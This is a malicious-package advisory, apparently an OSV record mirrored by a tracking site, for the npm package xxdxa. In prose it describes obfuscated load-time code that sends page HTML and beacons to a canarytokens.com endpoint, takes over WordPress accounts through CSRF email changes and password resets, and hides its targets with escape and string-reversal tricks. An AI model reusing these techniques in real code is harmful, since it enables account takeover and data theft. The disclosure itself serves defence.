Malicious code in xxdxa (npm)
Exploitation and risk
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osv · MAL-2026-10752
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (26a77171f4b68ff814a7a99b5e51e3d59b9d4ca41fefbd650d2a0f8412878360) The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionally when the module is loaded. In a browser context on noviembrenacional.com it reads document.documentElement.outerHTML, base64-encodes it, and POSTs it (body 'type=page_html&data=...') to a hardcoded canarytokens.com endpoint (canarytokens.com/images/terms/e63c36xvesfv8udb0yiy1xztu/contact.php), along with status beacons (start, username, no_user_span, no_nonce, exploit_success, error). When the visitor is a logged-in WordPress user on that site whose username is neither 'JuanCuesta' nor 'noviembrenacional', it fetches /my-account/editar-cuenta/, extracts the save-account-details nonce and referer, and submits a same-origin CSRF POST that overwrites the victim's account email to [email protected], then triggers a password reset — an account takeover. For the 'noviembrenacional' admin user it instead POSTs to /members/<user>/settings/delete-account/. In Node (no window), the top-level call throws and the catch handler issues fetch(CANARY_URL + '?type=error&msg=...'), leaking a beacon (including the installer's public IP and an error string) to the attacker's canarytokens URL at require/import time. URLs, DOM property names, form field names, endpoints, and the attacker email are hidden via \uXXXX escapes, reversed-string decoding (e.g. '/srebmem/'.split('').reverse().join('') → '/members/'), and dead-code XOR expressions, existing solely to conceal the exfiltration destination and WordPress attack targets.
- Source published
- 16 Jul 2026 18:36:36 UTC
- Source modified
- 6 Aug 2026 23:50:29 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.